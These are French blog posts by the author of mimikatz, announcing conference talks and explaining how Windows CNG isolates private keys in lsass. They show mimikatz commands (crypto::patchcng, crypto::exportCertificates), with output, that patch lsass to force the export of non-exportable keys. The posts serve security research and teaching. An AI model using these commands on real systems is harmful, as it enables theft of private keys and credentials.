gentilkiwi @ AfterWork OSSIR Février 2013

OSSIR-Logo

news0ft m’a offert une tribune sympathique pour présenter mimikatz.
Je serais donc présent à l’AfterWork de l’OSSIR ce Mardi 26 Février à partir de 19h30.

En dehors du plaisir d’y rencontrer une riche communauté, j’y évoquerai le fonctionnement de la récupération de données sensibles dans Windows via mimikatz, tout cela en une petite demi-heure.

Se passant au Café Six, les questions supplémentaires se feront autour d’un verre !

Informations :

gentilkiwi @ Application Security Forum 2012

asfws
Je me suis laissé pousser à proposer une présentation à l’Application Security Forum – Western Switzerland 2012.
J’ai la chance d’avoir été invité à présenter mes travaux sur mimikatz !

J’y exposerai bien sûr mimikatz mais plus particulièrement les modules sekurlsa et crypto
slide
Les participants comprendront rapidement comment récupérer des mots de passe Windows et des certificats/clés privées !

Attention : les participants du premier rang pourraient apercevoir des mots de passe et des clés…

En dehors de ma présentation (le 07 Novembre à 11h40), j’assisterai à un maximum de conférences d’experts : http://2012.appsec-forum.ch/programme/.
N’hésitez pas à faire de même et à venir me faire un petit coucou :)

mimikatz :: crypto et l’export forcé en vidéo

Une petite vidéo de l’utilisation de mimikatz et de son module crypto pour forcer l’export de certificats sous Windows 8

La version prenant en charge Windows 8 CP (et précédents) est disponible : http://blog.gentilkiwi.com/mimikatz

Actions exposées dans la vidéo :

  • impossibilité d’exporter les certificats protégés via la CryptoAPI et CNG
  • patch de la CryptoAPI
  • l’export du certificat protégé via la CryptoAPI devient possible, reste celui protégés via CNG
  • patch de la CNG via un bref passage en administrateur
  • l’export du certificat protégé via la CNG devient possible

Disponible sur : http://youtu.be/M3XX3CHihJY

Cryptography API: Next Generation et export de clés privées (aperçu)

Un petit billet sur la gestion de l’export des clés privées par la CNG (Cryptography API: Next Generation)…

Petite introduction

Un peu de documentation sur ces API pour commencer :

Il est plus qu’aisé de sortir des clés privées « non exportables » gérées par la CryptoAPI, en effet celles-ci sont traitées directement dans la mémoire du processus appelant, et donc totalement à notre merci (JNZ qui deviennent JMP…).
Microsoft a fait un petit pas sur ce sujet, il a décidé d’isoler les clés privées dans le processus « sécurisé » lsass.exe, via le service KeyIso.

Bénéficier de la CNG

Il est malheureusement très difficile de bénéficier de cette avancée, en effet, lors de l’import d’un PFX ou d’un P12 il ne nous est pas proposé de sélectionner le nouveau provider KSP : « Microsoft Software Key Storage Provider », l’on se retrouve donc de manière automatique avec les providers par défaut de la CryptoAPI… quelle avancée !

Pour passer par la CNG l’on doit :

  • programmer (!)
  • utiliser un outil ayant fait ses preuves dans le domaine de la convivialité : certutil

Exemple d’import avec certutil :

  • Avec clé exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12
  • Avec clé « non » exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12 NoExport

Résultat, la CNG est tellement sécurisée, que notre MMC préférée (certmgr.msc) est, pour le moment, incapable d’exporter une clé exportable…

Notre seule solution :
certutil -user -p export_waza -privatekey -exportpfx test export_test.p12

Jouons avec lsass

Manipuler quelques octets dans lsass.exe n’est pas très compliqué :

mimikatz # crypto::patchcng
CNG@lsass patché !

mimikatz # crypto::exportCertificates
Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'\My
         - test
                Container Clé : test-a9282d11-cbcb-4154-90f7-c94138850d63
                Provider      : Microsoft Software Key Storage Provider
                Exportabilité : NON
                Taille clé    : 2048
                Export privé dans  'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.pfx' : OK
                Export public dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.der' : OK

Même certutil a l’air d’accord…

================ Certificat 0 ================
Numéro de série : 07
Émetteur: CN=test, C=FR
 NotBefore : 12/04/2011 02:10
 NotAfter : 11/04/2012 02:10
Objet: CN=test, C=FR
La signature correspond à la clé publique
Certificat racine : le sujet correspond à l’émetteur
Modèle:
Hach. cert. (sha1) : 68 61 30 0d 9a 8d 9a 85 e5 d6 9b 0d aa d2 b7 2e e3 67 09 0a
  Conteneur de clé = test-a9282d11-cbcb-4154-90f7-c94138850d63
  Fournisseur = Microsoft Software Key Storage Provider
La clé privée NE PEUT PAS être exportée
Succès du test de chiffrement
CertUtil: -exportPFX La commande s’est terminée correctement.

Inclus dans mimikatz (article : http://blog.gentilkiwi.com/mimikatz/crypto#patchcng)

Shhh…

…avec quelques adaptations, cela marche (pour le moment) avec Windows 8 build 7850…
(l’audit n’est pas encore implémenté)

CNG Export sous Windows 8 build 7850